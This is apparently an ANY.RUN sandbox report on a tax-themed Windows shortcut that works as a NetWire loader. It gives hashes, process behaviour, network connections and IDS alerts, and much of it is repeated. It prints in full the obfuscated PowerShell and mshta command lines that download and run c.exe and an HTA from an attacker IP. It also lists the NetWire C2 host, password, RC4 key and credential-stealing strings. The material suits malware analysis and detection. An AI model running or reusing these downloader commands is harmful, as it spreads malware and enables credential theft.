File name:

VIRGINIA-TAX-RETURN-2021-US-EXT.lnk

Full analysis: https://app.any.run/tasks/ed84025e-17ad-4793-b002-7bb07b92bb86
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: August 12, 2022, 17:40:06
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
loader
netwire
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=13, Archive, ctime=Thu Nov 19 01:50:22 2020, mtime=Thu Aug 11 06:58:46 2022, atime=Thu Nov 19 01:50:22 2020, length=433152, window=hidenormalshowminimized
MD5:

0C8C19E19CC4DF9841C0B31BF42297DE

SHA1:

078EAB579439EDBCECB86556D14D60404F2F1E3E

SHA256:

A814641ECE58BA618155C9267474A575A6423B7BD086C7B534E267E40292E2CE

SSDEEP:

48:8WnHJfY5217hniLRiLsn048asBxBcBjqdJ94W9k:8kHJfwCnOX048asBxe+9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Drops executable file immediately after starts

      • powershell.exe (PID: 2292)
    • Application was dropped or rewritten from another process

      • c.exe (PID: 2724)
    • NETWIRE was detected

      • c.exe (PID: 2724)
    • NETWIRE detected by memory dumps

      • c.exe (PID: 2724)
  • SUSPICIOUS

    • Reads the date of Windows installation

      • powershell.exe (PID: 3060)
    • Checks supported languages

      • powershell.exe (PID: 3060)
      • mshta.exe (PID: 3616)
      • powershell.exe (PID: 2292)
      • c.exe (PID: 2724)
    • Reads the computer name

      • powershell.exe (PID: 3060)
      • mshta.exe (PID: 3616)
      • powershell.exe (PID: 2292)
      • c.exe (PID: 2724)
    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 3616)
      • iexplore.exe (PID: 3984)
    • Reads Environment values

      • powershell.exe (PID: 2292)
    • Drops a file with a compile date too recent

      • powershell.exe (PID: 2292)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2292)
  • INFO

    • Checks Windows Trust Settings

      • powershell.exe (PID: 3060)
      • powershell.exe (PID: 2292)
      • iexplore.exe (PID: 2924)
    • Reads the computer name

      • iexplore.exe (PID: 3984)
      • iexplore.exe (PID: 2924)
      • iexplore.exe (PID: 2120)
    • Checks supported languages

      • iexplore.exe (PID: 3984)
      • iexplore.exe (PID: 2924)
      • iexplore.exe (PID: 2120)
    • Reads internet explorer settings

      • mshta.exe (PID: 3616)
      • iexplore.exe (PID: 3984)
    • Reads settings of System Certificates

      • powershell.exe (PID: 2292)
      • iexplore.exe (PID: 2924)
    • Changes internet zones settings

      • iexplore.exe (PID: 2924)
    • Application launched itself

      • iexplore.exe (PID: 2924)
      • iexplore.exe (PID: 3984)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

NetWire

(PID) Process(2724) c.exe
C2 (1)septton.com:5389
HostHostId-%Rand%
Credentials
PasswordPassword123
Options
Mutex
Install_path-
Startup_name-
ActiveX-
Proxy-
Keys
RC4_key125d5d50bd35dcebe448a67adb0ffb46
Strings (90)GetProcessImageFileNameA
Local Disk
WinHttpOpen
WinHttpGetProxyForUrl
WinHttpGetIEProxyConfigForCurrentUser
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components\%s
StubPath
[Esc]
[Ctrl+%c]
RegisterRawInputDevices
GetRawInputData
Secur32.dll
LsaGetLogonSessionData
LsaEnumerateLogonSessions
SOFTWARE\Mozilla\%s\
CurrentVersion
SOFTWARE\Mozilla\%s\%s\Main
Install Directory
mozutils.dll
mozsqlite3.dll
%s\logins.json
PK11_GetInternalKeySlot
PK11_Authenticate
PL_Base64Decode
SECITEM_ZfreeItem
PK11SDR_Decrypt
PK11_FreeSlot
NSS_Shutdown
sqlite3_open
sqlite3_close
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
select * from moz_logins
hostname
<name>
<password>
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
index.dat
vaultcli.dll
VaultOpenVault
VaultCloseVault
VaultGetItem
GetModuleFileNameExA
GetModuleFileNameExA
GetNativeSystemInfo
GlobalMemoryStatusEx
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Closed
Listening...
SYN Sent
SYN Received
Established
Fin Wait (1)
Fin Wait (2)
Close Wait
Closing...
Last ACK
Time Wait
Delete TCB
C2 (1)septton.com:5389
HostHostId-uOm8m0
Credentials
PasswordPassword123
Options
MutexObwQvAVd
Install_path-
Startup_name-
ActiveXfalse
ProxyDirect_connection
Copy_executablefalse
Delete_originalfalse
Lock_executablefalse
Registry_autorunfalse
Use_a_mutextrue
Offline_keyloggerfalse
Sleep(s)75
Keylogger_directory-
Keys
RC4_key125d5d50bd35dcebe448a67adb0ffb46
Strings (90)GetProcessImageFileNameA
Local Disk
WinHttpOpen
WinHttpGetProxyForUrl
WinHttpGetIEProxyConfigForCurrentUser
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components\%s
StubPath
[Esc]
[Ctrl+%c]
RegisterRawInputDevices
GetRawInputData
Secur32.dll
LsaGetLogonSessionData
LsaEnumerateLogonSessions
SOFTWARE\Mozilla\%s\
CurrentVersion
SOFTWARE\Mozilla\%s\%s\Main
Install Directory
mozutils.dll
mozsqlite3.dll
%s\logins.json
PK11_GetInternalKeySlot
PK11_Authenticate
PL_Base64Decode
SECITEM_ZfreeItem
PK11SDR_Decrypt
PK11_FreeSlot
NSS_Shutdown
sqlite3_open
sqlite3_close
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
select * from moz_logins
hostname
<name>
<password>
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
index.dat
vaultcli.dll
VaultOpenVault
VaultCloseVault
VaultGetItem
GetModuleFileNameExA
GetModuleFileNameExA
GetNativeSystemInfo
GlobalMemoryStatusEx
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Closed
Listening...
SYN Sent
SYN Received
Established
Fin Wait (1)
Fin Wait (2)
Close Wait
Closing...
Last ACK
Time Wait
Delete TCB
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

MachineID: desktop-7n4rmrr
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
CommandLineArguments: -ExecutionPolicy UnRestricted $ryrZN='s/L4..4.h4t7t/51p/:9hht82aa2.Mth'; &(-join($ryrZN[(49307-49307),(14885-14860),(-42127+42129)])) _* (-join($ryrZN[(49307-49307),(14885-14860),(-42127+42129)])); _* => (-join($ryrZN[(-14568+14597),(49307-49307),(-33898+33906),(13922-13912),(14885-14860)])); foreach($prnBEcj in @((-22378+22386),(-52582+52592),(42983-42973),(7032-7016),(-60799+60817),(-20075+20076),(33369-33368),(3925-3906),(-11084+11098),(-28689+28693),(17784-17760),(-47470+47485),(-32558+32569),(-3094+3098),(52631-52607),(-2365+2368),(-55643+55666),(-43604+43608),(43856-43853),(2908-2905),(-15756+15757),(-55338+55346),(-24815+24819),(43407-43399),(-32952+32962),(-5600+5625))) {$zIGtAPwN+= $ryrZN[$prnBEcj]}; => $zIGtAPwN;
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
LocalBasePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
VolumeLabel: -
DriveType: Fixed Disk
TargetFileDOSName: powershell.exe
HotKey: (none)
RunWindow: Show Minimized No Activate
IconIndex: 13
TargetFileSize: 433152
ModifyDate: 2020:11:19 03:50:22+01:00
AccessDate: 2022:08:11 09:58:46+02:00
CreateDate: 2020:11:19 03:50:22+01:00
FileAttributes: Archive
Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start powershell.exe no specs mshta.exe powershell.exe iexplore.exe iexplore.exe no specs iexplore.exe no specs #NETWIRE c.exe

Process information

PID
CMD
Path
Indicators
Parent process
2120"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2924 CREDAT:333057 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exeiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2292"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function jZGsaiXMx($xyBOCKhyZPKOGE, $VwGkTkpaqCAI){[IO.File]::WriteAllBytes($xyBOCKhyZPKOGE, $VwGkTkpaqCAI)};function pmTDdXLWdhLK($xyBOCKhyZPKOGE){if($xyBOCKhyZPKOGE.EndsWith((rsATVTUqdVlwTyE @(58453,58507,58515,58515))) -eq $True){rundll32.exe $xyBOCKhyZPKOGE }elseif($xyBOCKhyZPKOGE.EndsWith((rsATVTUqdVlwTyE @(58453,58519,58522,58456))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $xyBOCKhyZPKOGE}else{Start-Process $xyBOCKhyZPKOGE}};function bIWIzNuUvf($VmmDjbnlwsbkVFWhKeUA){$WjfTjNGZLxxXEo = New-Object (rsATVTUqdVlwTyE @(58485,58508,58523,58453,58494,58508,58505,58474,58515,58512,58508,58517,58523));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$VwGkTkpaqCAI = $WjfTjNGZLxxXEo.DownloadData($VmmDjbnlwsbkVFWhKeUA);return $VwGkTkpaqCAI};function rsATVTUqdVlwTyE($zhintux){$LXFcrnRl=58407;$RDPAvImGSUWUNZz=$Null;foreach($vDfgFpzWlaCLM in $zhintux){$RDPAvImGSUWUNZz+=[char]($vDfgFpzWlaCLM-$LXFcrnRl)};return $RDPAvImGSUWUNZz};function Zqrapntth(){$XJfNaPTXZjlYKZLGL = $env:AppData + '\';$rKiFSFUwMlFJUV = $XJfNaPTXZjlYKZLGL + 'IRS-Logo.svg';If(Test-Path -Path $rKiFSFUwMlFJUV){Invoke-Item $rKiFSFUwMlFJUV;}Else{ $pFSiicRZZXlQKwcBjF = bIWIzNuUvf (rsATVTUqdVlwTyE @(58511,58523,58523,58519,58522,58465,58454,58454,58526,58526,58526,58453,58512,58521,58522,58453,58510,58518,58525,58454,58523,58511,58508,58516,58508,58522,58454,58506,58524,58522,58523,58518,58516,58454,58519,58524,58519,58502,58505,58504,58522,58508,58454,58480,58489,58490,58452,58483,58518,58510,58518,58453,58522,58525,58510));jZGsaiXMx $rKiFSFUwMlFJUV $pFSiicRZZXlQKwcBjF;Invoke-Item $rKiFSFUwMlFJUV;};$KACXYAIfQ = $XJfNaPTXZjlYKZLGL + 'c.exe'; if (Test-Path -Path $KACXYAIfQ){pmTDdXLWdhLK $KACXYAIfQ;}Else{ $nbbdERcIDhhQEe = bIWIzNuUvf (rsATVTUqdVlwTyE @(58511,58523,58523,58519,58465,58454,58454,58464,58460,58453,58457,58456,58462,58453,58457,58459,58463,58453,58459,58459,58454,58506,58453,58508,58527,58508));jZGsaiXMx $KACXYAIfQ $nbbdERcIDhhQEe;pmTDdXLWdhLK $KACXYAIfQ;};;;;}Zqrapntth;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2724"C:\Users\admin\AppData\Roaming\c.exe" C:\Users\admin\AppData\Roaming\c.exe
powershell.exe
User:
admin
Company:
Irfan Skiljan
Integrity Level:
MEDIUM
Description:
IrfanView 32-bit
Exit code:
0
Version:
4.60.0.0
Modules
Images
c:\users\admin\appdata\roaming\c.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
NetWire
(PID) Process(2724) c.exe
C2 (1)septton.com:5389
HostHostId-%Rand%
Credentials
PasswordPassword123
Options
Mutex
Install_path-
Startup_name-
ActiveX-
Proxy-
Keys
RC4_key125d5d50bd35dcebe448a67adb0ffb46
Strings (90)GetProcessImageFileNameA
Local Disk
WinHttpOpen
WinHttpGetProxyForUrl
WinHttpGetIEProxyConfigForCurrentUser
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components\%s
StubPath
[Esc]
[Ctrl+%c]
RegisterRawInputDevices
GetRawInputData
Secur32.dll
LsaGetLogonSessionData
LsaEnumerateLogonSessions
SOFTWARE\Mozilla\%s\
CurrentVersion
SOFTWARE\Mozilla\%s\%s\Main
Install Directory
mozutils.dll
mozsqlite3.dll
%s\logins.json
PK11_GetInternalKeySlot
PK11_Authenticate
PL_Base64Decode
SECITEM_ZfreeItem
PK11SDR_Decrypt
PK11_FreeSlot
NSS_Shutdown
sqlite3_open
sqlite3_close
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
select * from moz_logins
hostname
<name>
<password>
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
index.dat
vaultcli.dll
VaultOpenVault
VaultCloseVault
VaultGetItem
GetModuleFileNameExA
GetModuleFileNameExA
GetNativeSystemInfo
GlobalMemoryStatusEx
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Closed
Listening...
SYN Sent
SYN Received
Established
Fin Wait (1)
Fin Wait (2)
Close Wait
Closing...
Last ACK
Time Wait
Delete TCB
(PID) Process(2724) c.exe
C2 (1)septton.com:5389
HostHostId-uOm8m0
Credentials
PasswordPassword123
Options
MutexObwQvAVd
Install_path-
Startup_name-
ActiveXfalse
ProxyDirect_connection
Copy_executablefalse
Delete_originalfalse
Lock_executablefalse
Registry_autorunfalse
Use_a_mutextrue
Offline_keyloggerfalse
Sleep(s)75
Keylogger_directory-
Keys
RC4_key125d5d50bd35dcebe448a67adb0ffb46
Strings (90)GetProcessImageFileNameA
Local Disk
WinHttpOpen
WinHttpGetProxyForUrl
WinHttpGetIEProxyConfigForCurrentUser
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Active Setup\Installed Components\%s
StubPath
[Esc]
[Ctrl+%c]
RegisterRawInputDevices
GetRawInputData
Secur32.dll
LsaGetLogonSessionData
LsaEnumerateLogonSessions
SOFTWARE\Mozilla\%s\
CurrentVersion
SOFTWARE\Mozilla\%s\%s\Main
Install Directory
mozutils.dll
mozsqlite3.dll
%s\logins.json
PK11_GetInternalKeySlot
PK11_Authenticate
PL_Base64Decode
SECITEM_ZfreeItem
PK11SDR_Decrypt
PK11_FreeSlot
NSS_Shutdown
sqlite3_open
sqlite3_close
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
select * from moz_logins
hostname
<name>
<password>
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
POP3 Server
POP3 Password
IMAP User
IMAP Server
IMAP Password
HTTP User
HTTP Server
HTTP Password
SMTP User
SMTP Server
SMTP Password
EAS User
EAS Server URL
EAS Password
index.dat
vaultcli.dll
VaultOpenVault
VaultCloseVault
VaultGetItem
GetModuleFileNameExA
GetModuleFileNameExA
GetNativeSystemInfo
GlobalMemoryStatusEx
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Closed
Listening...
SYN Sent
SYN Received
Established
Fin Wait (1)
Fin Wait (2)
Close Wait
Closing...
Last ACK
Time Wait
Delete TCB
2924"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\admin\AppData\Roaming\IRS-Logo.svgC:\Program Files\Internet Explorer\iexplore.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
3060"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ryrZN='s/L4..4.h4t7t/51p/:9hht82aa2.Mth'; &(-join($ryrZN[(49307-49307),(14885-14860),(-42127+42129)])) _* (-join($ryrZN[(49307-49307),(14885-14860),(-42127+42129)])); _* => (-join($ryrZN[(-14568+14597),(49307-49307),(-33898+33906),(13922-13912),(14885-14860)])); foreach($prnBEcj in @((-22378+22386),(-52582+52592),(42983-42973),(7032-7016),(-60799+60817),(-20075+20076),(33369-33368),(3925-3906),(-11084+11098),(-28689+28693),(17784-17760),(-47470+47485),(-32558+32569),(-3094+3098),(52631-52607),(-2365+2368),(-55643+55666),(-43604+43608),(43856-43853),(2908-2905),(-15756+15757),(-55338+55346),(-24815+24819),(43407-43399),(-32952+32962),(-5600+5625))) {$zIGtAPwN+= $ryrZN[$prnBEcj]}; => $zIGtAPwN; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
3616"C:\Windows\system32\mshta.exe" http://95.217.248.44/h.htaC:\Windows\system32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
3984"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2924 CREDAT:144385 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exeiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
Total events
15 620
Read events
15 351
Write events
268
Delete events
1

Modification events

(PID) Process:(3060) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000003C010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A80164000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3616) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
1
Suspicious files
11
Text files
7
Unknown types
3

Dropped files

PID
Process
Filename
Type
2924iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63der
MD5:
SHA256:
2292powershell.exeC:\Users\admin\AppData\Roaming\IRS-Logo.svgimage
MD5:
SHA256:
3060powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4cf1a02c6f2538b1.customDestinations-msbinary
MD5:
SHA256:
3060powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y67FBDPXM97508D0N7IH.tempbinary
MD5:
SHA256:
3616mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\h[1].htmhtml
MD5:
SHA256:
2924iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63binary
MD5:
SHA256:
2924iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:
SHA256:
2292powershell.exeC:\Users\admin\AppData\Roaming\c.exeexecutable
MD5:
SHA256:
2924iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776binary
MD5:
SHA256:
2924iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776der
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
14
DNS requests
11
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2292
powershell.exe
GET
200
95.217.248.44:80
http://95.217.248.44/c.exe
DE
executable
2.03 Mb
malicious
3616
mshta.exe
GET
200
95.217.248.44:80
http://95.217.248.44/h.hta
DE
html
13.1 Kb
malicious
2924
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8Ull8gIGmZT9XHrHiJQeI%3D
US
der
1.47 Kb
whitelisted
2924
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
der
471 b
whitelisted
2924
iexplore.exe
GET
200
178.79.242.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2c79d80d2d259b37
DE
compressed
4.70 Kb
whitelisted
2924
iexplore.exe
GET
200
178.79.242.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?317b80eb85edcc72
DE
compressed
4.70 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3616
mshta.exe
95.217.248.44:80
Hetzner Online GmbH
DE
malicious
2292
powershell.exe
23.78.197.214:443
www.irs.gov
Akamai Technologies, Inc.
US
unknown
2292
powershell.exe
95.217.248.44:80
Hetzner Online GmbH
DE
malicious
2724
c.exe
31.41.244.150:5389
septton.com
LLC DARNET
RU
malicious
2924
iexplore.exe
131.253.33.200:443
www.bing.com
Microsoft Corporation
US
whitelisted
2924
iexplore.exe
178.79.242.128:80
ctldl.windowsupdate.com
Limelight Networks, Inc.
DE
malicious
2924
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
2924
iexplore.exe
152.199.19.161:443
iecvlist.microsoft.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
www.irs.gov
  • 23.78.197.214
suspicious
septton.com
  • 31.41.244.150
malicious
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 131.253.33.200
  • 13.107.22.200
whitelisted
ctldl.windowsupdate.com
  • 178.79.242.128
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
r20swj13mr.microsoft.com
  • 152.199.19.161
whitelisted

Threats

PID
Process
Class
Message
3616
mshta.exe
Potentially Bad Traffic
ET POLICY Possible HTA Application Download
3616
mshta.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host HTA Request
3616
mshta.exe
Attempted User Privilege Gain
ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
2292
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2292
powershell.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2292
powershell.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
2292
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2292
powershell.exe
